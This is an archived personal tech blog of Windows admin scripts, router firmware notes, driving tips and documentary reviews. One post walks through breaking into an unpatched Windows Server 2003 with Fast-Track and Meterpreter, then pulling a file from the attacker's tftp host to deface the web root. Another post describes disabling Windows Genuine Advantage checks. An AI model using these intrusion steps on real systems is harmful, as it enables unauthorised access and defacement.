Thursday, May 13, 2010

Prohibition in the 21st century

Many already know the prohibition continues in the USA and majority of other countries... here is a more recent look at what is going on in California: How Weed Won the West part 1 and part 2

Although President Obama promised to allow marijuana to be categories as conventional medicine, and allow state law take presidency over federal law, the raids continue. DEA take the crops, cash and trash the place from further business while the economy suffers - it seems the two just cannot be linked. Governor Schwarzenegger also agree in 2009 that the deficit is so large marijuana taxation will enable to keep schools open and violent prisons in jail.

This is so clear to so many yet it feels nothing can be done, maybe the few that benefit are more powerful than the many that suffer and so life carries on being the way it was...

For those stumbling here and interested in more videos check out the following great documentaries:




more coming soon...


As always let me know what you think!

Saturday, May 8, 2010

Why not to use wireless keyboards

It seems like everyone has those cool wireless keyboards, but in the security world we explore everything and guess what has a weak encryption and can be hacked?

Of course it's the topic of this post...

Anyway I just thought it was important to get the word out there and inform the citizens of another security threat.


Keyboard Sniffer Keykeriki from Max Moser on Vimeo.

The device is not (yet) for sale but can be made by anyone with some soldering skills, once made it can reach 75 meters and the software is open source downloadable but probably will require some learning or even experience with Linux/Unix.

Needless to say this is not only dangerous of eavesdropping on peoples conversations but passwords, credit cards and whatever else is being typed on those wireless keyboards of sensitive nature - can all be picked up over the air waves by soon-to-be-sold device and free software already available... [see bottom]

Common wireless keyboard manufacturers (Microsoft and Logitech come to mind) don't give users a fauls sense of security when it's clear those are insecure!

Also you should probably work on a better encryption, try getting some help from those who hacked your keyboards for starters....

For more information check out remote-exploit.org's project.

Sunday, April 25, 2010

Wake on LAN command line script

Automate the Wake On LAN (WoL) by scripting a small but smart script.

First, make sure your hosts can wake on LAN, you may have to check the bios but also make sure to enable  wake function from windows, test that it works with the WOL GUI if you'd like and move to the next step when it works.

Second, download the wolcommand from here, I like to place it in C:\WINDOWS\system32 folder so it can be accessed from anywhere in the local system but you can place it in the same folder as the script which makes this command a dependency for the script.

Third step is the scripting portion, as described at the bottom of enable WoL in windows save all the MACs if there are multiple hosts you want to wake up, in my case the list is as follows:
pc00: 00-07-E9-xx-xx-xx
pc01: 00-07-aa-aa-aa-aa
pc02: 00-07-bb-bb-bb-bb

Place as many MACs as needed in this text file, we named it ip-mac.txt but you can name it anything else and have any other delimiter but make sure to edit the script below accordingly if you do have changes.

Now the fun part:
FOR /F "tokens=2 delims=:" %%G IN (ip-mac.txt) DO wolcmd %%G 192.168.1.255 255.255.255.255
pause

Named it wol.bat (or anything you like) and run or schedule with at command or  The first line is a FOR loop that takes the second field with colon delimiter (:) then execute "wolcmd " with each of the MAC address lines, it may help to learn more about FOR loops to understand this for your case.

Second line is a pause which will wait for user input any key, I just want to make sure the commands were successful otherwise the command window closes before you blink.

Anyway, this seems to work with most PCs, I am also considering placing a sleep few seconds between each MAC wake execution to give the packets time to leave before sending the next.

Let me know what you think!

Enable Wake On LAN Windows XP

In order to wake the computer from the Local Area Network you may need to check the BIOS to allow this but since there are too many different ones I will cover the Windows XP enabling (same with server 2003 and similar to older and newer versions of windows operating systems).
On your PCs Network Interface Cards (NICs) you require to "Allow this device to bring the computer out of standby", and here is how to do it:

1. First locate the Local Area Network properties, normally can be found in Control Panel > Network Connections (Fig. 1) double-click your network connection to get to the Status
Fig. 1
2. Next in Status click Properties:
Fig. 2
3. Now in the Properties click Configure:
Fig. 3
4. Now click the "Power Management" tab and select the check-boxes with the wake on LAN capabilities.
Fig. 4
Since with the Intel drivers this section looks different for me, here is a more common look for this tab:
Fig. 5
You will need to check the bottom two boxes and click OK until there are no more open.
And this will -in theory- allow you to bring the computer from a turned off or standby/hibernate state to a powered on and running state.

There are various ways of doing this: Make sure to record the MAC Address found in Support > Details of Fig. 2
Fig. 6 
Press Ctrl+c to copy these details and past them into a noetpad text file and save it for future references.

Next, there are many routers that have the capability to wake the computer's by MAC, either by default firmware or upgraded, in any case I prefer the software on a server in the LAN, so the while the rest of the computers sleep the server can be scheduled to wake them up via the WOL software which can be scripted in my next post.

Sunday, March 28, 2010

How to drive a manual / standard shift gear car

Update: Since I wrote this I have learned quite a bit more about how to drive better, smoother and feel like an automatic car to your passengers and compiled some tips:

#1 my main mistake was not staying in gear long enough, this feels slow and depending on your car power you may need to play with your situation but in my car I found staying until 3 or 3.5 thousand RPM (revolutions per minute) was optimal - unless of course you're in traffic when you don't need that much power and the driving style changes. So this helps avoid the jerk feeling or slowing down when specially when shifting to the second gear since you need more power to get moving and the car is not yet moving fast, stay with the gas until you reach 3,500 RPM and when you plateau on the accelerating you can clutch, let go of gas, shift to second and slowly+smoothly engage the clutch. Same idea for the rest of the gears depending how fast you need to go (street or highway).

#2 when reversing, or rather when sliding the gear into reverse make sure the car is not moving (even a little) because in my car's design it will not allow the gear to enter R if the car is moving even slightly in any direction. First gear will let you slide in as long as your gown <15km/h, also while we are on the reverse topic, the clutch engages a little faster and unless you plan to go far in reverse you probably won't let the clutch out fully. I end up reeving a little and slowly engaging until I get far enough and can go forward.

Feel free to comment your tips, experiences, thoughts etc I know I'm not a pro and far from it...
------------More will be updated as I get them, here is the original article:

A long awaited journey on the learning curve of the manual/ standard shift gear car has began two weeks ago and I wanted to report back on the educational (edu blog) experience.

First, how to get things started, 5 gears and reverse, clutch on the left, break in the middle and gas on the right as usual. The clutch is the most important piece because it is the most used and toughest part in my opinion.

Second, to get moving, clutch has to be all the way down to the floor, start the engine and slide the gear in place.

Now you can press the break and release the hand break (all the while keep the clutch all the way down).
Once in gear and ready (first or reverse - depending where your going) you need to release the clutch very very slowly, this is important, releasing too far will stall the engine. Centimeter by centimeter you release the clutch very small movement of the pedal until you feel the car moving in the direction, or you see the revs get lower but don't let them drop any further without giving gas, because again this is where the engine will stall.

This is the most critical point of driving manual cars, getting from 0 is the toughest in my experience and I'm sure for many others. But from people's instructions and even tutorials on the net (even youtube videos) I noticed the teaching doesn't get me where I am going, anywhere.

So, again, keep the break on, clutch all the way down, release very very slowly until you feel some movement, practice this until you find the 'grip point' of the clutch - where it engages the gear to the wheels.

You don't have to know the mechanics but it helps, once you feel the engagement of the clutch, keep it there and start applying the gas - slowly as well, you don't want to rip it now!

Put the revs above 1, at 1.5 should be sufficient for most cars, at this point the car shouldn't even roll back if you are on a hill, so we solved that problem as well.

Now continue releasing the clutch - still very slowly or the car will jerk, until your left foot is completely off the clutch and now you are moving!

Step three, changing the gears: this one is often overlooked as the getting started part seems tough enough.
Well, from my experience you still need to be very smooth with the clutch in order to not make your passengers seasick, and of course avoid hardware problems in your car mechanics.

Okay, so your at 2.5-3 thousand RPMs of the first gear, you need to switch. Press down the clutch - all the way to the floor and this doesn't have to be smooth, actually best to do this fast [edit: easing off the gas should be smooth as to not launching your passenger forward]. Keeping the clutch down you switch the gear from first to second and now comes the clutch re-engagement part. Don't drop it or else you will jerk the car!

Release the clutch about half way until the engaging point and now smooth out the clutch at a slower release while reapplying the gas, smoothly. Keep in second gear for another 20KM/H or 2.5-3 thousand RPMs again until switching to third, fourth and fifth (unless you have a sixth). From there it is mostly smooth sailing.

Slowing down: down-shifting should still be done smoothly as described above, clutch release is the challenge as always and in this case we can't re apply the gas (unless your using heal-tow maneuver) so you need to get the right gear for what's going to happen next, predicting isn't tough in driving since you know you will need to accelerate after you get past a turn, therefore dropping the gear to second or third, or simply neutral if your coming to a stop (don't down shift to first unless your speed is below 20km/h)

Coming to a stop you should clutch again but don't put in first gear until you are ready to reengage, no explanation for this, just how it is. In other words until you reach 0-10 you should not switch to first gear.

Turning, most of us turn at 30-40KM/H which should put you at 3-4th gears is what I found from experience.

Stop and go traffic will probably put you at 1,2 and sometimes 3ed gears, clutching and if you're like me, using the neutral so my left foot can rest (release the clutch on Neutral).

If you have questions, leave a comment or email.
I will try to get a video put together but it's proving difficult to drive and hold a camera at the same time...
Check out youtube for other people's explanations, but some can be misleading and not entirely great...

Friday, March 5, 2010

Free Windows Software

I compiled a list of Windows software that are free (as in free beer), most are also open source (as in free speech) and I use those commonly for daily tasks, sorted by relevancy and by categories:

To make easier to install all the programs use: ninite.com
Media:
Security/Administration:
Hope you enjoy those as much as I do, I will keep updating this as I find more, any suggestions/ideas/comments are always welcome! Thanks for visiting :)

Last update: May, 2016

Friday, February 19, 2010

MySQL backup script on windows cmd

Just needed to create a windows backup script so thought I would share my findings:

You can download the MySQLBackupScript.zip (1816k) if you're ready to use it or just view the script, otherwise proceed to the explanation.

Dependencies: don't forget you will need mysql.exe and mysqldump.exe which can be obtained from the mysql website and are also provided in the zipped file download link above.

First we use @echo off to hide the commands executed and only display the text after the "echo" command.
Next, I display a message to deter the user from closing the window (since this stops the script) because I need it in my case - it pops up from the scheduled tasks and might be used at the time so it must be clear to the user to not get closed - but you can change this how ever needed, even no output text is possible by avoiding all the echo commands in the script provided.

Now to the meat of the script, the mysql commands;
mysqldump syntax is
mysqldump -uusername -ppassword -hhost.com databasename > backupfile

mysql syntax is
mysql -uusername2 -ppassword2 -hhost2.com databasename2 < backupfile Using the %date:~7,2%-%date:~4,2%-%date:~10,4% command will produce a day-month-year to help distinguish the backups (i.e. backup19-02-2010.sql as formatted in the script). Finally, schedule a task on the machine that will be doing this by going to control panel > scheduled tasks > right click > new > name it and go to properties, find the script location and set the schedule.

This will effectively place a backup on the system the script is in, and upload to the server of host2.com (example shown above), you may of course add as many servers to upload the backups to, simply repeat the line with mysql and change the settings as needed, you can also add the "pause" command if you wish to wait until user interaction to continue the script.

Let me know what you think!
Comment below or email theborisedu@gmail.com

UPDATE: decided to put my project publicly here: https://github.com/borisplotkin/mysql-backup feel free to contribute or download and use!

Sunday, February 14, 2010

If it ain't broke, take [Netgear RP614v2 wired router] apart and fix it.

This old but very stable router is wired, and full of cool features for it's price (I got it as a gift for fixing a friend's computer :)

Specs
• Processor: 166 MHz, ARM9
• Memory: 1 MB Flash, 8 MB DRAM
• Network Interface: - LAN: IEEE 802.3i (10BASE-T) Ethernet or IEEE 802.3u (100BASE-TX) Fast Ethernet (auto-sensing), RJ-45 -WAN: IEEE 802.3i (10BASE-T) Ethernet or IEEE 802.3u (100BASE-TX) Fast Ethernet (auto-sensing), RJ-45
• Functions: - Smart Wizard automatically detects ISP type
(static, dynamic, PPPoE), Port Range Forwarding, Exposed Host (DMZ), DNS Proxy, MAC Address Cloning, URL Content Filtering, E-mail Alerts
• Security Features: - Firewall: Stateful Packet Inspection, DoS Attacks
Detection Logging, Dropped Packet Log, Security Event Log, E-mail Log - VPN Functionality: NAT traversal (VPN passthrough) for IPSec, PPTP, and L2TP VPNs - Mode of Operation: Network Address Translation, static routing [source] (alternate)

It was very simple to take apart, and after putting it back together it still works!

inside a netgear router from smokin robocop on Vimeo.
So as the title says; it wasn't broke but I took it apart and fixed it!

Next post I will be taking you through the upgrade to the new firmware found here and then to a custom firmware - amazingly the source for this router is provided here

anyone interested in improving the router firmware is more then welcome to!

Also recently have upgraded the WRT54G ver.6 which is very low on memory.

Tuesday, February 9, 2010

fastest speed test speedtest.net

Found an old pic of a very fast download/upload speed!


(original image)

Monday, February 8, 2010

how to move torrent files

I've always wondered how to move a torrent file, the actually final downloaded file that is, not the torrent file (Or magnet link) which helped download.



The main reason to do is, well, to avoid clutter. If I have music, videos, ebooks, software and the list goes on - all of this in the same folder called Downloads... well you can see how this could be a problem.

And most operating systems provide a video, music and document folders already so to make full use of these (My videos, My music in Windows XP) or others how do we move the torrent-downloaded files without removing it from the torrent application or causing a file missing type error?

simple in utorrent:
1. Stop the download/seed. Press the red square or right click stop.

2. Move the file/folders as needed in the directory.
I like to use the "drag and drop" feature of windows.


3. Right click the torrent in uTorrent > Advanced > Set Download Location...

4. Browse to the new location... and Save

5. Click No to the question of overwriting (otherwise it will start new download again)

6. Rick click and choose "Force Re-check" in order to verify the files and hashes.

You can now resume the download or just continue seeding if it's done :)

Happy sharing everyone!

Sunday, January 31, 2010

Strange Network Activity

[Update] The issue seems to have been cause by a cheap or just bad switch (it was cheap so I assume that's why), after it seemed to be dead I tested it and the same thing happened in the lab!
Be ware of bad switches!

-----original---------

Recently I have noticed a strange network activity in a workstation PC. It is an older IBM model running Windows XP, the issue has not occoured to me until I opened the Local Area Connection Status window and saw the amount of sent packets under the Activity section (figure 1)



There are probably several possible causes but right now it seems to boil down to a bad connection on the wire or connectors. I have re-installed windows since I have noticed this originally, I also don't remember this PC having issues before it has been moved to the current location but the 'problem' keeps coming back.

The strange thing about this is that the group policies get affected every now and than.

It doesn't seem to have any issues with internet, application, bandwidth or any of the other network components including itself so not a big issue, I guess "if it ain't broke don't fix it"?

But anyway, if anyone has any ideas let me know.

Monday, January 25, 2010

Future by Design Review

After I watched the documentary called "Future by design" I had to mention that while it is a great documentary and very recommended to everyone, it brought many new unanswered questions and ideas to mind. (IMDB, torrent download)

First, I think that Jacque Fresco is a genius. No doubt he finally has shown us the way, I always thought money is a strange concept but never knew how it could be different, and what is possible in a different economy and his imagination of the future is really brought to life in this film. My only criticism is that his thinking and designs that are just too far ahead of our current or near-future reach. While he has amazing ideas with incredible details to his designs and inventions, I feel that we need to focus on the more immediate transitional ideas and the bigger picture that are not covered very much in this documentary.
For example: how do we start?

We really cannot start rebuilding for future cities like he discussed, nor can we build futuristic cities from the ground or in the water. What we can and should do is discuss the type of details that get us out of a monetary based system, unite the world's countries and share resources. Improving education and removing any money related ideas. The list of jobs and ideas that are completely unnecessary is going to be huge so I will not list it here but I hope you get the idea.

Another video on the other hand, does much more in-depth coverage of these ideas is: The Zeitgeist Movement: Orientation Presentation. Similar to ZEITGEIST: ADDENDUM (Also by Peter Joseph), but I felt it is more concise and to the point, with in-your-face fact driven and solutions laid-out type which might not appeal to some. Nevertheless I highly recommend watching this (link above) - and as with everything - you may take it with a 'grain of salt', but I found this very eye opening and in general a topic which is in need of many more and much more open discussions of these ideas.

The very true facts I take from these videos are: with no monetary system there would be no drive for immoral or negative 'criminal' acts. If we re-think the way things work in our world we should be able to improve the global and personal quality of life. If education systems are modified and technology improved for the greater good instead of profit, I believe that our potential is limitless.

So assuming you are as convinced as I am that we need a change in our economic worldwide systems, I keep hitting myself with the same question:
How can we change from the monetary system?

A possible answer is:
If the people in the highest powers are comfortable they will never agree to any change, therefore this must happened from the people that are uncomfortable. But will this be a very fast abrupt change or will it take several discussions to the possible solutions to change to?

As you can see there are many questions and I think that now with an open mind we must ask and discuss these ideas.

Truly I feel the "Resource based economy" idea sounds great in theory there are many more important details that are not covered. Going back to ideas of "Future by Design" it is impossible to assume as Jacque did that all the mundane jobs are automated because that just sounds too far into the future.

So there are many questions that have to be thoroughly discussed and thought out but what we need to do is start thinking what steps can be taken NOW toward a real change in the SYSTEM.

Today's facts as I see them are:
The monetary economy is wholly flawed, motivation for profit creates unrealistically huge amounts of immoral acts, to list a few;
cruelty, crime of murder, theft, and simply things that are wrong by any standard are all done by individuals and groups of individuals (also known as organizations, companies or corporations) for the single most important goal of this economy is MONEY.

There are constant roller coaster of inflation and deflation in value of currencies and more problems I may not be able to think of right now... but all of this is simply unacceptable.

It is unproductive to our technological and academic growth.

The solutions sound simple: remove the monetary system to an education and resource based system but how do we get there from where we are now?

So please I ask of everyone reading this, if you got this far I hope you have some ideas of your own at this point so share them with me or anyone around you.

Thank you

Thursday, January 14, 2010

BackTrack 4 Released!

Recently backtrack version 4 final was released, I would like to take that opportunity to try the USB live install this time instead of the DVD or hard drive like I have done before with the pre-release and previous version.

I am currently downloading it via torrent in order to conserve bandwidth for them and reduce their server load (it seems they have been getting a lot of downloads when they released) but also because I like to stick it to the man and my ISP finally stopped throttling... or maybe it's the protocol encryption utorrent employs.

I'm liking what I saw in the pre-release and I like that they finally got a new website, can't wait to install and start hacking!

Let me know what you think.

Wednesday, January 13, 2010

ZEITGEIST: ADDENDUM review

After watching "ZEITGEIST: THE MOVIE" [RELEASED 6/25/07] by Peter Joseph, I felt that although the documentary is well made, the first part spoke strongly to me but the second part of the documentary was not very close to home in a sense of what I could relate to and the understand or believing the facts presented.

And it is very interesting to consider but the truth is we will never know what happened because they can hide it too well, and what is more important becomes apperent in his second documentary: "ZEITGEIST: ADDENDUM" [RELEASED 10/02/08] from Peter Joseph. This truly inspired me to look further into the future and how things would play out if we lived in a different system - not a monetary based but a resource based economy.

The goals and motivations would shift from the endless and useless money, currently humans are trying to obtain as much money as possible (why? money isn't real anyway!), our goal of making things better for everyone will include ourselves. The rewards will speak for themselves.

To find out more go to http://www.zeitgeistmovie.com/ and http://www.thevenusproject.com/

Let me know what you think in the comments or email.

Powers of 2

2^0 1
2^1 2
2^2 4
2^3 8
2^4 16
2^5 32
2^6 64
2^7 128
2^8 256
2^9 512
2^10 1,024
2^11 2,048
2^12 4,096
2^13 8,192
2^14 16,384
2^15 32,768
2^16 65,536
2^17 131,072
2^18 262,144
2^19 524,288
2^20 1,048,576
2^21 2,097,152
2^22 4,194,304
2^23 8,388,608
2^24 16,777,216
2^25 33,554,432
2^26 67,108,864
2^27 134,217,728
2^28 268,435,456
2^29 536,870,912
2^30 1,073,741,824
2^31 2,147,483,648
2^32 4,294,967,296

Tuesday, January 5, 2010

Oh Canada - Our Bought and Sold Out Land

Did you know it costs four pennies to make one penny?!?!

I watched this interesting documentary, and it is defiantly worth a watch.

Check it out!

http://www.ohcanadamovie.com/

Download or Watch

Summary:
This surprisingly entertaining documentary film explores the history of
banking, the selling out of the prosperity of Canada, the clearance sale of
Canadian businesses and the political liquidation of public infrastructures
to the multi-national corporate oligarchy. How has this led to the biggest
economic crash in Canadian history? Could it have something to do with our
politicians listening to international bankers and corporations instead of
the people Canada? How does the Canadian banking system really work? How
does the central Bank of Canada compare with the American Federal Reserve?

This movie presents these issues that affect every Canadian from the
perspective of and delivered by concerned youth in a astute and colourful
manner. This is a serious journalism piece that asks the tough questions
directly to such politicians as Former Prime Minister of Canada Paul Martin,
Canadian Finance Minister Jim Flaherty, Green Party Leader Elizabeth May,
Ontario Gas Man Dan McTeague, NDP Leader Jack Layton, Mayor of Oshawa John
Gray, Former Prime Minister of Canada John Turner and many more!

We encourage you to seed this torrent, pass it around and freely distribute
it to your friends and family.

Friday, December 18, 2009

php NOTICE and DEPRECATED wamp server errors

to fix this on the wamp server or others that have PHP
locate this line in php.ini file:
error_reporting = E_ALL

change it to this line:
error_reporting = E_ALL & ~E_NOTICE & ~E_DEPRECATED

Monday, December 7, 2009

how to hack windows server 2003 or xp systems

For those not farmiar with hacking, it is a concept of exploration and education.
This post is for educational purposes only and this bug has been patched by latest Microsoft patches.

A great hacking/exploration tool is called backtrack which is a linux distribution but more on that later...

Found a great video to get started: watch the video: http://uploads.blip.tv/file/576639

Basic instructions drawn for this and other videos - in this example; getting into the system with the purpose of adding a webpage to the target (in this case windows server 2003):

1. Log in to backtrack (startx for gui)
2. Start fast-track and choose exploit, enter IP and choose bind.
3. If there are sessions after the attack attempts then type:
sessions -i 1

Basic syntax:
sessions -i ID

4. To get to shell from meterpreter type:
execute -f cmd.exe -c -H -i

5. In another shell start BT tftp service, put your file to /tmp

6. Then get the file from the remote host (BT) in shell via tftp:
tftp -i 192.168.1.101 get /tmp/index.htm c:\inetpub\wwwroot\index.htm

syntax:
tftp -i SERVER_IP get SOURCE_LOCATION TARGET_LOCATION

Note: it turns out that windows server 2003 service pack 1 and up has disabled tftp. So only SP0 will allow this trick. If you encounter those servers you must use another method or start tftp in some manner to transfer the backdoor or whatever you want. In my case I simply used echo to type a sample text into a file created by the command, I called index.html

Remember to be a White hat hacker and let me know how it goes!

Thursday, December 3, 2009

Hide IE8 address bar - leaving back, forward, stop and print buttons

Please purchase the instructions for $4.99USD  (a value of over $100 for Microsoft support) :










1. Get the scripts and icon files for each function e.g. back.html and back.ico (get it here [Download]).
2. Place these in C:\IENav -- make new folder on C drive called IENav
3. Custom reg key to add launch paths and register the guid of the API's for these controls. IE8 with nav controls.txt [View or Download]

4. Run/Merge the custom reg file to add controls to the registry. (Does not require a reboot) Once done open IE7-8 and the Address Bar should now be hidden with the new navigation controls placed on the command bar.
I've renamed the vb and reg files with a txt extension so there aren't any issues with firewalls etc. You will just need to remove the .txt extension.

The icon, html and/or javascript files should all reside in your own folder called IENav and should sit directly under C:\ drive. (See Toolbar.vbs or Toolbar.reg).

If you wish to change this location then you will need to edit the Toolbar.vbs or Toolbar.reg (Whichever option you choose) to point to the new location.

The files (first download above) are for IE7 users however IE8 users can still use these files but will need to rename the .js files from .js to .html, e.g refresh.js would become refresh.html.  
You will also need to edit the vb script or reg key (which ever they use) and change any reference to .js to .html.

[Update Nov. 2011] if you would like to also add print and stop buttons download (mirror)

If you have questions or comments you can leave them below or email to theborisedu at gmail dot com
[Special thanks to Scott Alchin (salchin1 at exemail dot com dot au), read my "how to lock down internet explorer 8 with GPO registry" instructions/article and contributed the instructions above]

Monday, November 23, 2009

Friday, November 6, 2009

If it ain't broke, take it apart and fix it.

I gotta make this quick for now so here is what I've been looking at instead of doing school projects....

The famous saying: "if it ain't broke don't fix it" has to be changed to a more appropriate "If it ain't broke, take it apart and fix it" :)

I found this on a T-shirt while browsing the net, this started when I was reading up on my router firmware (gargoyle) and updating to a new beta (version 1.1.1. experimental) as well as looking at information which referenced me to an interesting blog.

'I void warranties' is ironically also the title of that blog and T-shirt I linked to earlier but I got to the tshirt initially from looking at the post about sysadminday which then linked to gift ideas at thinkgeek.

That should cover my day of surfing the interweb and hopefully conclude it by finishing the assignments I am looking forward to forgetting about already...

Tuesday, September 1, 2009

how to apply group policy only to specific computers in domain

I have been searching a lot for this and there was no clear answer anywhere, most links inspired some thought and helped me test out but nothing was really specific enough so I hope this will help.

In order to apply gpo to specific computers with the same users there must be two main steps done:
1. Create an Organizational Unit for the specific computers AND
2. Create a Global Security Group for the computers

Example:
OU named "pcOU1" will contain "pc01" computer object and group named "pcSecurityGroup1" inside the OU ("pcOU1") will contain "pc01" as a member (enable computers under object type when adding the members).

Assuming this is done correctly, now set up the group policy from the group policy management (free to download and install with windows server 2003). Create the GPO inside the OU ("pcSecurityGroup1" in this example) and add the security group containing the specific computers you want affected by the policy ("pcSecurityGroup1" in the example) to the security filtering section in group policy managment.

Now modify the policy how ever you need and set the GPO to enforcing if there are other GPOs affecting the same user(s) on the rest of the computers or others for that matter.

Hope that is clear enough, leave a comment if this was helpful or clarification needed or any other comments.

Sunday, August 16, 2009

how to lock down internet explorer 8 with GPO registry

Please purchase these instructions for $4.99 USD here (a value of over $100 for Microsoft support) :










In my search to lock down internet explorer 8 with group policy objects through registry entries I have found the following techniques work best:

1. You may want use the default settings from IE8 group policy objects available (this wasn't sufficient for me) to do that you need to download and save the install file of IE8 from IE installer website, open the file with winrar or 7zip then find and extract the following file: inetres.adm into your desktop or my documents or the default template location (C:\WINDOWS\inf). Now load it using my instructions on the bottom of this post.

The default settings might work fine for removing the options menu, status bar and such but there were two more things I need that were not there. I searched high and low for the following tasks:
  • Hide/remove/disable address bar
  • Hide/remove/disable favourites and the command bar


I finally found them and will show you the registry changes first and then how to put it together into an adm template, which can be added to your group policy editor and modified from there. (Instructions for that are found at the bottom of this post)

  • To remove/hide the address bar the following registry change must be made:

HKEY_Current_USER\software\policies\microsoft\internet explorer\toolbars\restrictions
Value name: NoNavBar
Type: DWORD
Value: 1 (on)

  • To remove/hide the command bar (includes favourites), this registry change must be made:

HKEY_Current_USER\software\policies\microsoft\internet explorer\toolbars\restrictions
Value name: NoCommandBar
Type: DWORD
Value: 1 (on)


create a new notepad text file/or open notepad and copy+past the following
class user

category IESettings

policy "disable/hide IE command bar"
keyname "software\policies\microsoft\internet explorer\toolbars\restrictions"
explain "here is the explaination"
valuename "NoCommandBar"
valueon numeric 1
valueoff numeric 0
end policy

policy "disable/hide IE nav bar"
keyname "Software\Policies\Microsoft\Internet Explorer\Toolbars\Restrictions"
explain "here is the explaination"
valuename "NoNavBar"
valueon numeric 1
valueoff numeric 0
end policy

end category

Make sure to add this blank space at the bottom of the file (ask MS why this is, I just know the gpo editor won't accept it otherwise)

Save it as NAME.adm (remove the .txt) where NAME is what you would like to name it i.e removeaddressbar.adm (doesn't make any difference)

Now to add the file to gpo editor user the instructions at the bottom of THIS POST.

Once that is done you will see it under IESettings, enable the nessary objects for you and replicate the changes (Go to Start>Run>cmd and type "gpupdate /force" to speed things up)

This works for me but as we know with different environments and settings so let me know if you have problems!


Enjoy and good luck!

P.S. If you would like to leave the back, forward and refresh buttons follow this post

Sunday, August 9, 2009

Gargoyle router for bandwidth limiting / cap linksys wrt54g

Not as bad as it sounds. Actually this firmware wins me over the best right now!

Gargoyle is based on openwrt, in fact if you have it installed gargoyle is just a package install away!

Basically what i love about this firmware most is that it allows me to STOP [Update: now you can throttle it to slow it down after the cap is reached!] internet traffic when i reach my bandwidth cap (rogers allows me 60GB a month at the moment)

but that is definitely not the only feature, it's also great with other features you would expect from a good firmware, like; QoS and live bandwidth display and monitoring, port forwarding, iptables and ssh with your usual Linux commands normally provided in the busybox system on these types of firmware, as well as the dnsmasq and other packages that are typical in this firmware distros (ie.e dd-wrt, tomato) .

It had some drawbacks as you can expect, but they are fixed and patched as the firmware is actively being developed you can track versions and fixes provided. New features and addition to previous ones so always be on the lookout for new updates on the main site.

in this post i talked about tomato and sure it is great with neat features (which mostly gargoyle has) including javascript, ajax, svg bandwidth graphs, QoS - but the major feature that i was looking for and could not figure out how to do (i have extensive Linux knowledge, which is what these firmwares are based on... just look in the blog - and take my word for it * ) which was to stop my internet when my cap is reached, when you go over - you pay extra;

i used a lot of bandwidth recently and found that only 5 extra GB cost as much as $12 which might not sound like much but looking at my history from before the new caps i quickly found this project on my hands...

*of course i suspect there is a way to do this with lots of scripts but it just isn't what i am used to, can't save scripts except for the gui, nor is there much if any documentation; found a bandwidth statistic backup script which didn't work... go figure reverse engineering these things... much too complex to try to do, i should hope they will have this in the future in which point i will be glad to switch back to tomato because it still wins the graphics and usability [maybe stability too] of most things but for now it was just easier to implement gargoyle for my needs...

But I am open to any custom scripts or implementations of tomato that anyone may have out there, feel free to send them my way and i will test it out!

so for those American users with 200gb or 250gb cap from Comcast or Time Warner (which is a heck of a lot more than what we Canadians get!) - i found posts while searching for a solution and seems they were searching for one also, well for the time being, this is your match.

to update to gargoyle: use the .bin if your upgrading from the default Linksys firmware or .trx files when upgrading from tomato or dd-wrt (or any other third party firmware except for openwrt) but make sure to read the documentation - it is well documented for what seems like a small but growing project

so install and enjoy the benefits!!!

P.S. I forgot to post this before but the first few months after installing the initial versions (new ones are even much better now) I can confirm that the bandwidth is very accurate. From my research which composed of taking daily Mb usage from the router and comparing to my ISP's Mb usage (from the self service interface) the results are great, although not 100% I would put it at 99.9% which is excellent
So it is very safe to use and with the new throttling instead of internet stopping once the quote is reached you have a great service that is unmatched.

And I use the web interface as a quick check on much percent is currently taken which is way faster if anyone knows how slow login into rogers is :)

(Updated Sep. 1 2010)
References:
http://www.gargoyle-router.com
http://digiex.net/guides-tutorials/776-how-backup-tomato-firmwares-bandwidth-logs-rstats-ftp-server.html

Friday, July 31, 2009

how to remove genuine microsoft software warning

Following these sites instructions but they forgot a crucial step.

http://www.ehow.com/how_4800744_delete-genuine-warning-windows-xp.html

http://blog.taragana.com/index.php/archive/how-to-disable-windows-genuine-advantage-warning/

1. Lauch Windows Task Manager.
2. End wgatray.exe process in Task Manager. << at this point it will just start again!
to stop it, locate and right click on the wgatray.exe file (under
c:\Windows\System32):

A. go to properties > security tab > advanced

B. now uncheck "allow inheritable permissions from the parent..." you will be asked to remove or copy, choose Remove > click "Yes" and OK to close the window now you can end the proccess and it should not start up again.

C. Next you will need to give admin permissions to delete the file
right click wgatray.exe > go to properties > security tab > click Add > type administrators and click OK and OK again.

3. Delete WgaTray.exe from c:\Windows\System32.
4. Delete WgaTray.exe from c:\Windows\System32\dllcache.
5. Lauch RegEdit. (open run box and type regedit)
6. Browse to the following location:
7. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify
9. Delete the folder ‘WgaLogon’ and all its contents
10. Reboot Windows XP.

DONE

Warren Buffett MBA Talk rapidshare download

Warren Buffett needs no introduction, a speech he did at Florida university.
best played with VLC or other flv players.

http://rapidshare.com/files/262219835/Warren_Buffett_MBA_Talk.avi

(it's flv but renamed to avi file)

Thursday, July 30, 2009

how to get show desktop icon in the quick launch windows xp

To get the "show Desktop" icon to display in the quick launch download the shortcut and place it in "C:\Documents and Settings\USERNAME\Application Data\Microsoft\Internet Explorer\Quick Launch"

if you would like it to show for all users then place it in "C:\Documents and Settings\All Users\Application Data\Microsoft\Internet Explorer\Quick Launch"

Saturday, July 18, 2009

The Spoken Word Revolution rapidshare download free

Spoken word is a form of literary art or artistic performance in which lyrics, poetry, or stories are spoken rather than sung. [Wikipedia]

There is an interesting book called "The spoken word revolution (slam, hip hop & the poetry of a new generation)" and it includes a CD which I happened to find floating around the internet.

"hear over 70 minutes of electrifying live poetry on 1 audio CD -- including Saul Williams, Patricia Smith, Viggo Mortensen and many more..." 1 audio CD

download here (alternative link)

Monday, May 4, 2009

More marijuana research

As with the previous research this one is from an official medical book - this time I happened to find the hard copy (unlike the ebook last time)

It covers the following topics:
  • MARIJUANA AND CANNABIS COMPOUNDS
  • Prevalence of marijuana
  • Acute and chronic marijuana intoxication
  • Physical effects of marijuana
  • Tolerance and physical dependence
  • Withdrawal signs and symptoms

The actual text can be found HERE

Isselbacher, Kurt J., et al. Harrison's Principles of internal medicine. Vol. 2. 13th ed.
United States of America: McGraw-Hill, 1994. 2431-2.